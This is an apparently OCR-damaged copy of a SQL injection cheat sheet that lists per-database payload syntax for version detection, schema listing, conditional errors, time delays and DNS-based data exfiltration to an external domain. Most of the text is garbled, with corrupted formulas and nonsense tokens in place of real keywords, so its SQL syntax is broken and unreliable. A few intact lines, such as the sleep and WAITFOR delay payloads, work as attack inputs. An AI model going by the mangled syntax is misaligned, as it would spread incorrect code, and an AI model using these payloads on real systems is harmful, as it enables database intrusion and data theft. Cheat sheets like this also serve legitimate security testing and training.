SQL injection cheat sheet

stax that you can use to perform a variety of tasks that This SQL injection cheat sheet contains examples of often arise when performing SQL injection attacks.

 $\begin{aligned} & \textbf{String concatenation} \\ & \text{You can concatenate bugstler multiple strings to make a single string.} \\ & \textbf{Onside} \\ & & \textbf{-} fam^{-1} \mid \text{These}^{-1} \\ & \textbf{Microsoft} \\ & \textbf{-} fam^{-1} \mid \text{These}^{-1} \\ & \textbf{Pack pass} \\ & \textbf{-} fam^{-1} \mid \text{These}^{-1} \\ & \textbf{-} fam^{-1} \mid \text{These}^{-1} \\ & \textbf{-} fam^{-1} \mid \text{These}^{-1} \\ & \textbf{-} Gastal T (fam^{-1}, \text{These}^{-1}) \end{aligned}$

Substring
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string: b.a.

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

Comments

Oracle ==comment

Microsoft ==comment
/*comment*/

PostgreSQL ==comment
/*comment*/

Database version

Location VerSion

You can oper be detable to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle SELECT bearing TROM vibrarians
SELECT version TROM vibrarians
SELECT version TROM vibrarians
PostgysSGL SELECT Version

MySGL SELECT Version

You can list the tables that exist in the database, and the columns that those tables contain.

PosgysSQL SILECT * TOOK information_whoma.tables
SILECT * TOOK information_whoma.columns WEEE table_mass = 'TABLE-SAMEMPSQL SILECT * TOOK information_whoma.tables
SILECT * TOOK information_whoma.tables
SILECT * TOOK information_whoma.tables

Conditional errors

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Microsoft SILECT CALE MERRE (FOUR-CONDITION-MERR) THEN 1/0 ELER MILL END
PROSPRESS
ELECT CALE MERRE (FOUR-CONDITION-MERR) THEN 1/0 ELER MILL END
MySQL

MySQL
L= (RELECT CALE MERR (FOUR-CONDITION-MERR) THEN 1/0 ELER MILL END
MySQL
information_withers.tables/sale

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query by to digger a DNS looking, conditional error, or time delay.

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10' PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

Conditional time delays

You can let a single boolean condition and tigger a time delay if the condition is true.

Oncide

SELECT_CASE_MERIT (COMP-CONDITION-MERIT THEM PARTY AND THEM DELAY TO THEM AND THEM DELAY AND THE PARTY AND T MySQL SELECT IF (YOUR-CONDITION-HERE, SLEEP (10), 'a')

DNS lookup

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Microsoft associates.op_distant "//RDMP-COLLARGRATOG-SUBCORDILL"

PostgreEGL copy (ELECT '') to propose "maloous purp-COLLARGRATOG-SUBCORDILL"

MyGGL. The biologic bedronges used on Windows only.

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DNS lookup with data exfiltration

"Over can cause the database to perform a DNS lookup to an enternal domain containing the results of an injected query. To do this, you will need to use them Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the excitizated data.

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Stories from the Daily Swig about SQL injection











Zendesk Explore flaws opened do account pillage